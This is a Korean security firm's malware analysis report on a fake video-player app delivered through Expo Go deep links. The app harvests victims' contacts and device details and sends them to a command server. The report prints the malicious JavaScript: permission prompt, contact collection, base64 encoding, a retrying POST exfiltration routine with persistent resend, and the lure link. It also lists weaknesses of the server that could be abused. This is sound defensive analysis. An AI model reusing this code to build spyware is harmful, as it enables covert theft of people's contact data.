보고서 버전: v1.0
작성일: 2026-06-29
분석자: 아크링크 보안연구팀
분석 등급: ML 레벨
위협 등급: CRITICAL
· 위장 대상: 한국어 "Video Player HD" 동영상 재생 앱
· APK 패키지: [비공개] (범용 패키지명으로 위장)
· 앱 이름: Video Player HD / Video Player
· 프레임워크: Expo SDK 54.0.0 + React Native + Metro dev server 직결 배포 (__DEV__=true)
· C2 서버: `[비공개] (POST, base64 인코딩, Express)
· 관리자패널: `[비공개] (Express, 한국어 UI "관리자 시스템 관리 패널")
· 미끼사이트: `[비공개] (Let's Encrypt TLS, nginx + Express)
· 배포방식: exp://[비공개] (Expo Go 딥링크 -- APK 파일 자체가 존재하지 않는 공격)
· 핵심 위협: 연락처 전수 수집(이름+전화번호+이메일) + 기기정보 + base64 인코딩 전송, 3회 재시도 + AsyncStorage 영속 저장으로 데이터 유실 방지
· 피해 규모: victim_id=69 확인 -- 최소 69명 이상 피해
· 고유 특징: Metro dev server 직결 배포(EAS Update 미사용), PostgreSQL 5432 외부 노출, 5개 포트 단일 서버 집중, ABCCLOUD JP 인프라 -- 기존 21개 Expo 악성앱 클러스터와 완전히 다른 새 운영자
항목 · 값
패키지명 · `[비공개]`
iOS Bundle ID · `[비공개]`
표시명 · Video Player / Video Player HD
Scheme · (미설정 -- Expo 기본)
SDK Version · `54.0.0`
Runtime Version · `exposdk:54.0.0`
App Version · `1.0.0`
EAS Project ID · `f1b0e170-74a9-4d58-a5d3-12b757a294bd`
EAS Owner/Scope · `@anonymous/video-player-f9469067-4199-4e25-9631-732e963efbef`
프로젝트 루트 · `/root/로딩중 잠시만기다려주세요` (한국어 경로)
빌드 모드 · **development** (`__DEV__=true`, Metro dev server 직결)
Metro Bundler URL · `[비공개]
미끼 사이트 · `[비공개]
미끼 사이트 TLS · Let's Encrypt YR1, 발급 2026-06-22, 만료 2026-09-20
JS 번들 크기 · 111,259줄 (Metro dev 빌드, 비압축)
Manifest SHA256 · `04995d09dc79475dbc3bcc96c56b406b0d5ad5507915333bd48b41a648209ff0`
JS Bundle SHA256 · `3e90d618aabc20c347b81f026db138f45085f5732a14f50cd31f0e4753781cef`
Sourcemap SHA256 · `cd7dca74ea7d33a0e4bdbf88dc4a9307bb9f6bff21987ed253e21c3838142fbe`
Icon SHA256 · `868218e8406d623a096db73a69287babd9996caa98f46c0ba8e08042f7557a0e`
권한 · 위험도 · 설명 · 실사용
`READ_CONTACTS` · CRITICAL · 연락처 전수 읽기 · **핵심 탈취 대상**
`WRITE_CONTACTS` · HIGH · 연락처 쓰기 (미사용이나 향후 확장 가능) · 선언만
`READ_EXTERNAL_STORAGE` · HIGH · 외부 저장소 읽기 (legacy) · 선언만
`WRITE_EXTERNAL_STORAGE` · MEDIUM · 외부 저장소 쓰기 (legacy) · 선언만
`READ_MEDIA_IMAGES` · HIGH · 사진 라이브러리 읽기 · 선언만
`READ_MEDIA_VIDEO` · HIGH · 동영상 라이브러리 읽기 · 선언만 -- "Video Player" 위장 근거
`READ_MEDIA_AUDIO` · MEDIUM · 오디오 라이브러리 읽기 · 선언만
`READ_MEDIA_VISUAL_USER_SELECTED` · LOW · Android 14 선택적 미디어 접근 · 선언만
`ACCESS_COARSE_LOCATION` · HIGH · 대략적 위치 · **미사용** (향후 확장 예비)
`ACCESS_FINE_LOCATION` · CRITICAL · 정밀 위치 (GPS) · **미사용** (향후 확장 예비)
· expo-contacts (v15.0.11): Contacts.requestPermissionsAsync() --> Contacts.getContactsAsync() 호출 (index.bundle.js:106891-106903)
· 요청 필드: Name, PhoneNumbers, Emails
· 권한 거부 시 state='error' 전환, "영상 실행 실패 / 권한을 받아야 실행됩니다" 표시
· expo-media-library (v18.2.1): 플러그인 등재, 코드에서 미호출 -- 향후 사진/영상 탈취 확장용 예비 배치
· expo-location (v19.0.8): 플러그인 등재, 코드에서 미호출 -- 향후 위치 추적 확장용 예비 배치
이 앱은 과다 선언 + 최소 사용 전략을 채택했다. 매니페스트에 10개 권한을 선언하지만 실제 런타임에서 사용하는 것은 READ_CONTACTS 단 하나뿐이다. 이는 두 가지를 의미한다:
1. 향후 기능 확장 의도: expo-location, expo-media-library 플러그인이 이미 탑재되어 있어, 운영자가 Metro 서버의 JS 번들만 교체하면 위치 추적, 사진/영상 탈취 기능을 즉시 활성화할 수 있다
2. "Video Player" 위장 근거 확보: READ_MEDIA_VIDEO/AUDIO/IMAGES 권한이 동영상 재생 앱에 자연스럽게 보이도록 위장 역할을 한다
항목 · 값
SDK 버전 · 54.0.0
React Native · (SDK 54 기본 번들)
Metro Bundler · **dev server 직결** (`__DEV__=true`)
Hermes · 미컴파일 (dev 모드 JS 평문 번들)
EAS Update · **미사용** (Metro dev server가 번들 직접 서빙)
Plugins · expo-contacts(v15.0.11), expo-media-library(v18.2.1), expo-location(v19.0.8)
Platforms · ios, android
orientation · portrait (세로 고정)
userInterfaceStyle · light
이것은 기존 Expo 악성앱과 근본적으로 다른 아키텍처다.
기존 21개 Expo 악성앱(goldenswed/inscafe24/wahite/telegraming 클러스터)은 모두 EAS Update 메커니즘을 사용한다:
· APK에 Hermes 바이트코드(HBC) 번들 포함
· [비공개]] 에서 업데이트 매니페스트 fetch
· `[비공개] 에서 새 번들 다운로드
KoreaMK는 이와 다르게:
· APK 자체가 존재하지 않는다 -- Expo Go 앱만 사용
· Metro dev server([비공개])가 JS 번들을 실시간 서빙
· __DEV__=true 상태로 Hot Module Replacement(HMR) 활성화
· 번들 URL: `[비공개]
공격 관점에서의 이점:
1. APK 없음: AV 스캔 대상 자체가 없음. 악성 APK 시그니처 탐지 불가
2. 실시간 코드 교체: 운영자가 서버의 소스코드만 수정하면 모든 피해자에게 즉시 반영
3. 증거 휘발성: 서버를 내리면 페이로드가 완전히 소멸 (EAS CDN은 캐시 잔존)
4. 디버그 정보 노출: dev 모드이므로 sourcemap, 파일 경로, 변수명이 모두 평문 노출 -- 분석자에게는 오히려 유리
```
index.bundle.js (111,259줄)
+-- Metro runtime (줄 1~106800): require/define 시스템, React Native 코어
+-- expo-contacts 모듈 (줄 ~108084): Contacts.requestPermissionsAsync()
+-- @react-native-async-storage (줄 ~108974): 실패 시 데이터 영속 저장
+-- App 컴포넌트 (줄 106820~107340): 악성 로직 전체
+-- SERVER 변수: '[비공개]
+-- App() 함수: 상태머신 (splash/player/requesting/playing/verifying/error)
+-- checkPendingData(): 재시작 시 미전송 데이터 재전송
+-- sendWithRetry(): 3회 재시도 + AbortController 10초 타임아웃
+-- handlePlay(): 권한요청 -> 연락처수집 -> base64인코딩 -> 전송
```
매니페스트의 _internal.projectRoot:
```
/root/로딩중 잠시만기다려주세요
```
이 경로명은 한국어("로딩중 잠시만기다려주세요")로, 앱의 위장 종료 메시지와 동일한 맥락이다. 운영자가 root 권한으로 서버에서 직접 Expo 프로젝트를 실행하고 있으며, 디렉토리명 자체가 피해자에게 보여줄 메시지를 반영한다. 이는 운영자의 한국어 능력과 [피해자 정보 비공개] 인식을 동시에 보여주는 OPSEC 누설이다.
항목 · 값
URL · `[비공개]
메서드 · POST
Content-Type · `application/json`
프로토콜 · **HTTP 평문** (HTTPS 아님 -- Cloudflare 미사용)
백엔드 · Express.js (Node.js)
응답 예시 · `{"status":"success","victim_id":69,"contacts_count":0}`
의미 · victim_id=69 --> 최소 69명 [피해자 정보 비공개] 완료
항목 · 값
URL · `[비공개]
인증 · username/password POST form
> [비공개]
디자인 · gradient 배경(#667eea --> #764ba2), 모던 카드 UI, box-shadow
에러 메시지 · "아이디 또는 비밀번호가 incorrect합니다" (한국어+영어 혼용)
OPSEC 누설 · **ririadmin** -- 운영자 이름/별칭/코드네임으로 추정
관리자 패널의 UI 코드를 상세 분석하면:
· 폰트: "Segoe UI", -apple-system, sans-serif (Windows/macOS 겸용)
> [비공개]
· 폼 액션: /ririadmin/login (POST)
· 에러 메시지에 "incorrect" 영어 단어가 섞여 있어, 한국어가 모국어가 아닌 개발자가 부분 번역한 흔적
```javascript
// sendWithRetry() 내부 (index.bundle.js:106853-106865)
var encoded = Buffer.from(JSON.stringify(payload), 'utf-8').toString('base64');
var response = yield fetch(`${SERVER}[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
data: encoded, // base64로 인코딩된 전체 payload
checksum: '', // 빈 문자열 (미구현)
encrypted: false // 평문 전송 표시
}),
signal: controller.signal // 10초 AbortController 타임아웃
});
```
base64 디코딩된 inner payload 구조:
```json
{
"victim": {
"device_model": "SM-S921N",
"os_version": "Android 14",
"brand": "samsung"
},
"contacts": [
{
"id": "1",
"name": "홍길동",
"phone_numbers": ["010-**-**"],
"emails": ["hong@[비공개]"]
}
],
"metadata": {
"total_contacts": 150,
"ts": 1751234567890
}
}
```
서버 응답 {"status":"success","victim_id":69,"contacts_count":0} 에서:
· victim_id: 자동 증가 ID -- 최소 69명의 고유 피해자가 서버에 등록됨
· contacts_count: 0 -- 이 특정 요청에서 연락처가 0건 저장된 것 (테스트 요청 또는 중복 제거)
· status: "success" -- 서버가 정상 운영 중
포트 · 서비스 · 역할 · 상세
**80** · nginx 1.18.0 (Ubuntu) · 미끼 사이트 HTTP · [비공개] 리다이렉트
**443** · nginx + Express · 미끼 사이트 HTTPS · Let's Encrypt TLS, "Video Player HD" 랜딩
**3001** · Express.js · C2 API + 관리자패널 · [비공개] (POST), /ririadmin/login
**5432** · PostgreSQL · 데이터베이스 · **외부 노출** -- [피해자 정보 비공개] 저장
**8082** · Metro Bundler · Expo dev server · JS 번들 실시간 서빙, sourcemap 포함
항목 · 값
IP 주소 · `[비공개]`
지역 · Tokyo, Japan
ASN · AS139923 ABCCLOUD SDN.BHD.
도메인 · `[비공개]`, `[비공개]` (둘 다 동일 IP)
TLS 인증서 · Let's Encrypt YR1, CN=[비공개]
인증서 발급일 · 2026-06-22
인증서 만료일 · 2026-09-20
ABCCLOUD SDN.BHD. (AS139923):
· 말레이시아 기반 클라우드 호스팅 업체
· 일본 도쿄 데이터센터 운영
· KYC(고객확인) 수준이 낮은 것으로 추정 -- 악성앱 운영자가 선호하는 호스팅 유형
· 기존 21개 Expo 악성앱에서 사용된 적 없는 ASN -- 새 인프라 소스
PostgreSQL 5432 외부 노출:
이는 심각한 보안 오류이자 동시에 분석자에게 기회다. PostgreSQL이 인터넷에 직접 노출되어 있으며, 약한 인증 설정일 경우 피해자 데이터베이스에 직접 접근할 수 있는 가능성이 있다. 이는 운영자의 보안 수준이 낮음을 보여주며, 전문 MaaS보다는 소규모 독립 운영자 성격을 시사한다.
Cloudflare 미사용:
기존 goldenswed/inscafe24 클러스터는 C2를 Cloudflare 뒤에 숨겼지만, KoreaMK는 실제 IP가 그대로 노출된다. 이는:
1. Cloudflare 설정 능력 부재 또는
2. HTTP 평문 통신(port 3001)에 대한 인식 부족을 시사
[비공개]:
· "korea" + "mk" 조합 -- "mk"는 운영자 이니셜 또는 코드명 가능성
· whois 프라이버시 보호 여부 추가 확인 필요
· Let's Encrypt 자동 발급 -- 도메인 소유자 최소 검증만 통과
App 컴포넌트는 6개 상태를 순차 전환하며 공격을 수행한다:
```
[splash] --(1.5초)--> [player] --(재생 버튼)--> [requesting]
권한 거부 --> [error]
권한 허용 |
v
[playing]
데이터 전송 (성공/실패)
v
[verifying]
```
1단계: splash (1.5초)
```javascript
// index.bundle.js:106830-106831
useEffect(() => {
setTimeout(() => setState('player'), 1500);
checkPendingData(); // 이전 실패분 재전송 시도
}, []);
```
· 검정 배경 (#0a0a0a) + 영화 이모지 + "Video Player" 텍스트
· 1.5초 후 자동으로 player 화면 전환
· 동시에 checkPendingData() 호출 -- 이전 세션에서 전송 실패한 데이터가 AsyncStorage에 있으면 즉시 재전송
2단계: player (동영상 재생기 위장)
```javascript
// index.bundle.js:107014-107048
state === 'player' && TouchableOpacity({
onPress: handlePlay,
children: [
View({ style: s.playBtn, children: Text("▶") }),
Text("재생")
]
})
```
· 가짜 동영상 UI: 제목 "sample_video_hd.mp4", 메타데이터 "1080p / 1.2GB / 2:35:41"
· 재생 컨트롤 바: ⏮ ▶ ⏭
· 하단 내비게이션: 홈, 검색, 보관함, 프로필
· 재생 버튼 클릭 시 handlePlay() 트리거
3단계: requesting (권한 요청)
```javascript
// index.bundle.js:106888-106895
setState('requesting');
var { status } = yield Contacts.requestPermissionsAsync();
if (status !== 'granted') {
setState('error');
return;
}
```
· UI: ActivityIndicator(스피너) + "권한 확인 중..."
· 시스템 연락처 권한 다이얼로그 표시
· 거부 시 error 상태로 전환, "영상 실행 실패 / 권한을 받아야 실행됩니다 / 다시 시도" 버튼
4단계: playing (데이터 수집 -- 핵심 악성 동작)
```javascript
// index.bundle.js:106898-106920
// 显示"실행중",用户以为在加载视频 <-- 중국어+한국어 혼합 주석
setState('playing');
var { data: contacts } = yield Contacts.getContactsAsync({
fields: [Contacts.Fields.Name, Contacts.Fields.PhoneNumbers, Contacts.Fields.Emails]
});
var payload = {
victim: {
device_model: Device.modelName || 'Unknown',
os_version: ${Device.osName || ''} ${Device.osVersion || ''},
brand: Device.brand || 'Unknown'
},
contacts: contacts.map(c => ({
id: c.id || '',
name: c.name || '',
phone_numbers: c.phoneNumbers?.map(p => p.number || '') || [],
emails: c.emails?.map(e => e.email || '') || []
})),
metadata: {
total_contacts: contacts.length,
ts: Date.now()
}
};
```
· UI: 스피너 + "실행중" + "영상을 불러오는 중입니다" -- 피해자는 동영상 로딩으로 착각
· 연락처 전수 수집: 이름, 전화번호(복수), 이메일(복수)
· 기기정보 수집: 모델명, OS 버전, 제조사 브랜드
· 메타데이터 첨부: 총 연락처 수, 타임스탬프
5단계: sendWithRetry (전송 -- 3회 재시도)
```javascript
// index.bundle.js:106848-106882
var maxRetries = 3;
for (var attempt = 1; attempt <= maxRetries; attempt++) {
var encoded = Buffer.from(JSON.stringify(payload), 'utf-8').toString('base64');
var controller = new AbortController();
var timeoutId = setTimeout(() => controller.abort(), 10000);
var response = yield fetch(`${SERVER}[비공개], {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ data: encoded, checksum: '', encrypted: false }),
signal: controller.signal
});
clearTimeout(timeoutId);
if (response.ok) return true;
if (attempt < maxRetries) yield new Promise(r => setTimeout(r, 2000 * attempt));
}
// 3회 모두 실패 시 AsyncStorage에 영속 저장
yield AsyncStorage.setItem('pending_contacts', JSON.stringify(payload));
return false;
```
· 재시도 로직: 1차(즉시) -> 2차(2초 대기) -> 3차(4초 대기)
· 타임아웃: 각 요청 10초 AbortController
· 영속 저장: 3회 실패 시 AsyncStorage에 pending_contacts 키로 저장
· 재시작 시 자동 재전송: checkPendingData()가 앱 시작 시 자동 호출
6단계: verifying (위장 종료)
```javascript
// index.bundle.js:106922-106930
// 【关键】发送成功后才切换状态 <-- 중국어 주석: "핵심: 전송 성공 후 상태 전환"
var success = yield sendWithRetry(payload);
if (success) {
// 发送成功,显示"정검중입니다"
setState('verifying');
} else {
// 发送失败,也显示"정검중입니다"(数据已保存到本地)
setState('verifying'); // 실패해도 동일한 화면!
}
```
· UI: 스피너 + "정검중입니다" + "잠시후 시도해보세요"
· 전송 성공이든 실패든 동일한 "정검중" 화면 -- 피해자는 앱이 점검 중인 것으로 인지
· 데이터는 이미 전송 완료(또는 로컬 저장 완료)
```
[피해자] [앱] [C2 서버]
-- 미끼사이트 방문 ------------>
-- "영상 재생하기" 클릭 ------->
-- Expo Go 실행 -------------->
<-- JS 번들 다운로드 ---------- · :8082
<-- splash 화면 (1.5초) -------
<-- 동영상 재생기 UI ----------
-- ▶ 재생 버튼 클릭 ---------->
<-- 연락처 권한 다이얼로그 ----
-- "허용" 클릭 --------------->
<-- "실행중/영상 불러오는중" ---
-- 연락처 전수 수집
-- base64 인코딩
-- POST [비공개] -----> · :3001
<-- {victim_id:69} -----------
<-- "정검중입니다 잠시후..." ---
[피해자: "앱이 점검중이구나"] [데이터 탈취 완료] [DB 저장]
```
위치 (bundle.js) · 언어 · 문자열 · 용도
106898 · 중국어+한국어 · `显示"실행중",用户以为在加载视频` · 주석: "실행중 표시, 사용자는 영상 로딩으로 착각"
106922 · 중국어 · `【关键】发送成功后才切换状态` · 주석: "핵심: 전송 성공 후 상태 전환"
106925 · 중국어+한국어 · `发送成功,显示"정검중입니다"` · 주석: "전송 성공, 정검중 표시"
106928 · 중국어 · `发送失败,也显示"정검중입니다"(数据已保存到本地)` · 주석: "전송 실패해도 정검중 표시(데이터는 로컬 저장)"
107043 · 한국어 · `재생` · UI 텍스트
107067 · 한국어 · `권한 확인 중...` · UI 텍스트
107087 · 한국어 · `실행중` · UI 텍스트
107098 · 한국어 · `영상을 불러오는 중입니다` · UI 텍스트
107118 · 한국어 · `정검중입니다` · UI 텍스트 (종료 메시지)
107129 · 한국어 · `잠시후 시도해보세요` · UI 텍스트 (종료 메시지)
107152 · 한국어 · `영상 실행 실패` · UI 텍스트 (권한 거부)
107163 · 한국어 · `권한을 받아야 실행됩니다` · UI 텍스트 (권한 거부)
107182 · 한국어 · `다시 시도` · UI 버튼 텍스트
ririadmin_login · 한국어+영어 · `아이디 또는 비밀번호가 incorrect합니다` · 관리자패널 에러 (번역 불완전)
특성 · 근거 · 결론
**모국어** · 코드 주석 = 중국어 (개발자 내부 기록) · 중국어 모국어
**한국어 능력** · UI 텍스트 자연스러운 한국어, 디렉토리명 한국어 · 중급 이상
**번역 완성도** · ririadmin "incorrect" 혼용, 미끼사이트는 자연스러운 한국어 · 부분적 번역 누락
**기술 수준** · Metro dev server 직결, PostgreSQL 외부 노출, HTTP 평문 · 중하 (보안 인식 낮음)
**운영 형태** · 단일 서버 5포트, Cloudflare 미사용, 소규모 인프라 · 소규모 독립 운영자
**운영자 식별자** · `ririadmin`, `koreamk`, `/root/로딩중 잠시만기다려주세요` · 코드명 "riri" 또는 "mk"
**타겟** · 한국어 UI, [비공개], 한국어 미끼사이트 · 한국인 피해자
"ririadmin"은 운영자의 자체 관리자 패널 경로명이다. 가능한 해석:
1. 인명: "riri" -- 중국어 인명 또는 닉네임 (丽丽/莉莉 등 여성명 병음 가능성)
2. 코드명: 무작위 또는 의미 있는 식별자
3. 재사용 패턴: 다른 서버/도메인에서도 /ririadmin/ 경로를 사용하는지 조사 필요
카테고리 · 필드 · 수집 방법
**연락처** · id, name · `Contacts.getContactsAsync()`
**전화번호** · phoneNumbers[].number · 연락처당 복수 번호 수집
**이메일** · emails[].email · 연락처당 복수 이메일 수집
**기기 모델** · device_model · `Device.modelName`
**OS 버전** · os_version · `Device.osName + Device.osVersion`
**제조사** · brand · `Device.brand`
**메타데이터** · total_contacts, ts · 연락처 총 수 + Unix 타임스탬프
```
원본 JSON payload
v
JSON.stringify() --> UTF-8 문자열
v
Buffer.from(..., 'utf-8').toString('base64') --> base64 문자열
v
JSON.stringify({ data: base64, checksum: '', encrypted: false }) --> 최종 POST body
```
보안 분석:
· checksum: '' -- 체크섬 필드가 존재하지만 구현되지 않음 (향후 확장 예비)
· encrypted: false -- 암호화 플래그가 false로 고정 (암호화 미구현)
· base64는 인코딩일 뿐 암호화가 아님 -- 네트워크 캡처 시 즉시 복호화 가능
· HTTP 평문 통신(port 3001) -- MITM 공격에 완전 노출
```
전송 시도 1 (즉시)
실패 --> 2초 대기 --> 전송 시도 2
실패 --> 4초 대기 --> 전송 시도 3
실패 --> AsyncStorage.setItem('pending_contacts', payload)
[앱 재시작 시]
checkPendingData() --> AsyncStorage.getItem('pending_contacts')
데이터 존재 --> sendWithRetry(parsed) --> 재전송
성공 --> AsyncStorage.removeItem('pending_contacts')
```
핵심 포인트: 네트워크 장애나 서버 다운 시에도 [피해자 정보 비공개] AsyncStorage에 영구 보존되며, 앱(Expo Go)이 다시 해당 URL을 열 때마다 자동으로 재전송을 시도한다. 데이터 유실을 철저히 방지하는 설계다.
취약점 · 설명 · 악용 가능성
HTTP 평문 전송 · port 3001은 TLS 미적용 · MITM으로 [피해자 정보 비공개] 가로채기 가능
base64만 사용 · 암호화 아닌 인코딩 · 네트워크 캡처 즉시 원문 복원
인증 헤더 없음 · API key/token/signature 없음 · 임의 데이터 주입(C2 오염) 가능
checksum 미구현 · 빈 문자열 전송 · 데이터 무결성 검증 없음
AbortController만 · 서버 측 rate limiting 미확인 · 대량 더미 데이터 주입 가능
이 앱은 전통적인 APK 사이드로딩 방식을 사용하지 않는다. 대신 Expo Go 공식 앱의 exp:// 딥링크 프로토콜을 악용한다.
미끼사이트 (`[비공개]) HTML:
```html
<a href="exp://[비공개]" class="b">영상 재생하기</a>
<div class="l">Expo Go 앱에서 열립니다...</div>
```
공격 흐름:
1. 피해자가 `[비공개] 방문 (SMS/메시지로 유도 추정)
2. 검정 배경에 영화 이모지 + "Video Player HD" + "HD 스트리밍 서비스" 표시
3. "영상 재생하기" 빨간 버튼 클릭
4. exp://[비공개] URL 호출
5. Expo Go가 설치되어 있으면: 즉시 Metro dev server에 연결, JS 번들 다운로드, 악성 앱 실행
6. Expo Go가 미설치면: 브라우저가 exp:// 스킴을 처리 못함 -- 이 경우 Expo Go 설치 안내 가능
비교 항목 · 전통 악성 APK · KoreaMK (exp:// 방식)
설치 파일 · 미서명 APK 다운로드 · **설치 파일 없음** (Expo Go만 필요)
사용자 경고 · "출처를 알 수 없는 앱" 경고 · **경고 없음** (Expo Go는 Play Store 정식 앱)
Google Play Protect · 사이드로딩 앱 차단 가능 · **통과** (Expo Go는 화이트리스트)
AV 스캔 대상 · APK 파일 시그니처 · **스캔 대상 없음** (JS 번들은 메모리에서만 실행)
코드 교체 · APK 재배포 필요 · **서버 코드만 수정** (즉시 반영)
증거 보존 · APK 파일로 보존 · **서버 내리면 소멸** (휘발성)
포렌식 난이도 · APK 역공학 (표준) · **번들 캡처 필요** (실시간)
[피해자 정보 비공개] · "앱 설치했다" 인지 · "그냥 링크 눌렀다" 인지 -- **피해 인지 어려움**
1. [피해자 정보 비공개] 불가: APK를 설치한 적이 없으므로 "악성앱을 설치했다"는 인식 자체가 없음
2. 포렌식 증거 부족: APK 파일이 기기에 없으므로 전통적인 악성앱 분석 파이프라인 적용 불가
3. AV 무력화: 모든 안드로이드 AV는 APK/DEX 기반 시그니처 탐지 -- JS 번들은 사각지대
4. 운영 비용
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr